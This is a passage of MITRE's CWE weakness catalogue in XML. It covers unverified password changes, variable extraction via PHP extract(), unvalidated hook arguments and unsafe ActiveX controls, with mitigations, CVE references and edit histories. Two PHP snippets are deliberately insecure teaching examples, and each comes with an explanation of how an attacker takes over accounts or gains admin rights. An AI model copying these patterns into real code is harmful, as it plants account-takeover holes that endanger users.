            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="620" Name="Unverified Password Change" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.</Description>
         <Extended_Description>This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>When prompting for a password change, force the user to provide the original password in addition to the new password.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-56">
               <Intro_Text>This code changes a user's password.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$user = $_GET['user'];<xhtml:br/>$pass = $_GET['pass'];<xhtml:br/>$checkpass = $_GET['checkpass'];<xhtml:br/>if ($pass == $checkpass) {<xhtml:div style="margin-left:1em;">SetUserPassword($user, $pass);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0681</Reference>
               <Description>Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0681</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0944</Reference>
               <Description>Web application password change utility doesn't check the original password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0944</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP31</Entry_ID>
               <Entry_Name>Missing authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="621" Name="Variable Extraction Error" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.</Description>
         <Extended_Description>
            <xhtml:p>For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.</xhtml:p>
            <xhtml:p>Similar functionality is possible in other interpreted languages, including custom languages.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="914" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="471" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Variable overwrite</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could modify sensitive data or program variables.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Use allowlists of variable names that can be extracted.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Consider refactoring your code to avoid extraction routines altogether.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-107">
               <Intro_Text>This code uses the credentials sent in a POST request to login a user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:i>//Log user in, and set $isAdmin to true if user is an administrator</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>function login($user,$pass){<xhtml:div style="margin-left:1em;">$query = buildQuery($user,$pass);<xhtml:br/>mysql_query($query);<xhtml:br/>if(getUserRole($user) == "Admin"){<xhtml:div style="margin-left:1em;">$isAdmin = true;</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>$isAdmin = false;<xhtml:br/>extract($_POST);<xhtml:br/>login(mysql_real_escape_string($user),mysql_real_escape_string($pass));</xhtml:div>
               </Example_Code>
               <Body_Text>The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-7135</Reference>
               <Description>extract issue enables file inclusion</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7135</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7079</Reference>
               <Description>extract used for register_globals compatibility layer, enables path traversal</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7079</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0649</Reference>
               <Description>extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0649</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6661</Reference>
               <Description>extract() enables static code injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6661</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2828</Reference>
               <Description>import_request_variables() buried in include files makes post-disclosure analysis confusing</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2828</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Probably under-reported for PHP. Seems under-studied for other interpreted languages.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="622" Name="Improper Validation of Function Hook Arguments" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.</Description>
         <Extended_Description>Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that all arguments are verified, as defined by the API you are protecting.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Drop privileges before invoking such functions, if possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0708</Reference>
               <Description>DoS in firewall using standard Microsoft functions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0708</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7160</Reference>
               <Description>DoS in firewall using standard Microsoft functions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1376</Reference>
               <Description>function does not verify that its argument is the proper type, leading to arbitrary memory write</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1376</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1220</Reference>
               <Description>invalid syscall arguments bypass code execution limits</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1220</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4541</Reference>
               <Description>DoS in IDS via NULL argument</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4541</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP27</Entry_ID>
               <Entry_Name>Tainted input to environment</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2012-10-30">Unvalidated Function Hook Arguments</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="623" Name="Unsafe ActiveX Control Marked Safe For Scripting" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.</Description>
         <Extended_Description>This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="267" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="618" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>During development, do not mark it as safe for scripting.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0617</Reference>
               <Description>control allows attackers to add malicious email addresses to bypass spam limits</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0617</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0219</Reference>
               <Description>web browser uses certain COM objects as ActiveX</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0219</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6510</Reference>
               <Description>kiosk allows bypass to read files</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6510</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-503"/>
            <Reference External_Reference_ID="REF-510"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 16, &#34;What ActiveX Components Are Safe for Initialization and Safe for Scripting?&#34; Page 510"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 12, &#34;ActiveX Security&#34;, Page 749"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
